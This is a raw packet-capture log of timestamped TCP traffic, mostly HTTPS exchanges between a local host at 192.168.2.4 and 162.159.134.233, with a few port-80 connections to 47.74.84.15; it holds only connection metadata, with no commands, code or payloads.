Nov 9, 2021 22:21:49.004012108 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.004070997 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.004105091 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.004115105 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.004123926 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.004160881 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.004338980 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.004380941 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.004410028 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.004416943 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.004460096 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.004486084 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.004534006 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.004559040 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.004565954 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.004602909 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.004625082 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.004673958 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.004723072 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.004744053 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.004750013 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.004812002 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.004816055 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.004887104 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.004934072 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.004964113 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.004970074 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.004987955 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.005014896 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.005105019 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.005151033 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.005176067 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.005183935 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.005223036 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.005304098 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.005367041 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.005409002 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.005459070 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.005465984 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.005496979 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.005585909 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.005624056 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.005633116 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.005650043 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.005671024 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.005682945 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.005691051 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.005736113 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.005827904 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.005861998 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.005887032 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.005893946 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.005914927 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.005947113 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.006083965 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.006114006 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.006127119 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.006159067 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.006164074 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.006200075 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.006223917 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.006325006 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.006359100 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.006383896 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.006390095 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.006431103 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.006458998 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.006867886 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.006900072 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.006952047 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.006958008 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.006997108 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.007013083 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.007112980 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.007148027 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.007184982 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.007190943 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.007222891 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.007241011 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.007344007 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.007378101 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.007415056 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.007421970 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.007448912 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.007473946 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.007533073 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.007565975 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.007623911 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.007630110 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.007637024 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.007673025 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.007896900 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.007940054 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.007975101 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.007981062 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.008037090 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.008047104 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.008138895 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.008187056 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.008209944 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.008219004 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.008245945 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.008497953 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.008527040 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.008568048 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.008575916 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.008656025 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.008667946 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.008687019 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.008692026 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.008725882 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.008735895 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.008774042 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.008780003 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.008796930 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.008822918 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.009095907 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.009146929 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.009177923 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.009187937 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.009232044 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.009260893 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.009366035 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.023699999 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.023746014 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.023830891 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.023840904 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.023876905 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.023916006 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.023957014 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.023986101 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.024050951 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.024056911 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.024070978 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.024099112 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.024189949 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.024224043 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.024255991 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.024261951 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.024302006 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.024315119 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.024450064 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.024483919 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.024528027 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.024537086 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.024576902 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.024600029 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.024739027 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.024774075 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.024815083 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.024820089 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.024866104 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.024878025 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.025012016 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.025047064 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.025079012 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.025085926 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.025111914 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.025135994 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.025259972 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.025314093 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.025326967 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.025336981 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.025378942 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.025490999 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.025544882 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.025557995 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.025567055 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.025616884 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.025717974 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.025754929 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.025763035 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.025788069 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.025804996 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.025819063 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.025827885 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.025868893 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.025964022 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.026027918 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.026041031 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.026050091 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.026097059 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.026165009 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.026215076 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.026247025 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.026254892 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.026278019 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.026285887 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.026309967 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.026403904 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.026454926 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.026487112 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.026495934 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.026535034 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.026565075 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.026647091 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.026705027 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.026720047 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.026731014 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.026776075 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.026803970 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.026886940 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.026940107 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.026966095 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.026976109 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.027021885 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.027050972 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.027214050 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.027268887 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.027302027 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.027309895 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.027335882 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.027358055 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.027460098 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.027513027 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.027530909 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.027538061 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.027568102 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.027589083 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.027688026 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.027740955 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.027762890 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.027772903 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.027800083 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.027825117 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.027900934 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.027961969 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.027977943 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.027986050 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.028019905 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.028040886 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.028199911 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.028333902 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.028388023 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.028419018 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.028429031 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.028471947 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.028506041 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.028578043 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.028639078 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.028661013 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.028671026 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.028700113 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.028723001 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.028868914 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.028928041 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.028949976 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.028959036 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.028989077 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.029015064 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.029040098 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.029083014 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.029123068 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.029131889 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.029153109 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.029176950 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.029474020 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.029529095 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.029560089 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.029568911 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.029601097 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.029623985 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.029737949 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.029795885 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.029812098 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.029819012 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.029853106 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.029874086 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.029969931 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.030016899 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.030050993 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.030057907 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.030107975 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.030122995 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.030169964 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.030175924 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.030189991 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.030199051 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.030232906 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.030237913 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.030291080 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.032464981 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.041435003 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.041490078 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.041547060 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.041558981 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.041567087 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.041601896 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.041671038 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.041716099 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.041739941 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.041747093 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.041774988 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.041795969 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.041831970 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.041867971 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.041896105 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.041901112 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.041939974 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.041968107 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.042012930 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.106642962 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.121475935 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.156960964 CET	80	49867	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:49.248975039 CET	49870	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:49.552921057 CET	80	49870	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:49.553250074 CET	49870	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:49.553529024 CET	49870	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:49.712404966 CET	49871	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.712466955 CET	443	49871	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.712676048 CET	49871	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.713298082 CET	49871	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.713332891 CET	443	49871	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.752541065 CET	443	49871	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.760130882 CET	49871	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.800882101 CET	443	49871	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.816313028 CET	443	49871	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.816493988 CET	443	49871	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.816544056 CET	443	49871	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.816591024 CET	443	49871	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.816620111 CET	49871	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.816642046 CET	443	49871	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.816643000 CET	49871	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.816658020 CET	443	49871	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.816714048 CET	49871	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.816736937 CET	443	49871	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.816802025 CET	443	49871	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.816865921 CET	443	49871	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.816922903 CET	443	49871	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.816926003 CET	49871	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.816943884 CET	443	49871	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.816993952 CET	443	49871	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.817001104 CET	49871	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.817013025 CET	443	49871	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.817073107 CET	49871	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.817074060 CET	443	49871	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.817092896 CET	443	49871	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.817131042 CET	49871	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.817172050 CET	443	49871	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.817220926 CET	443	49871	162.159.134.233	192.168.2.4
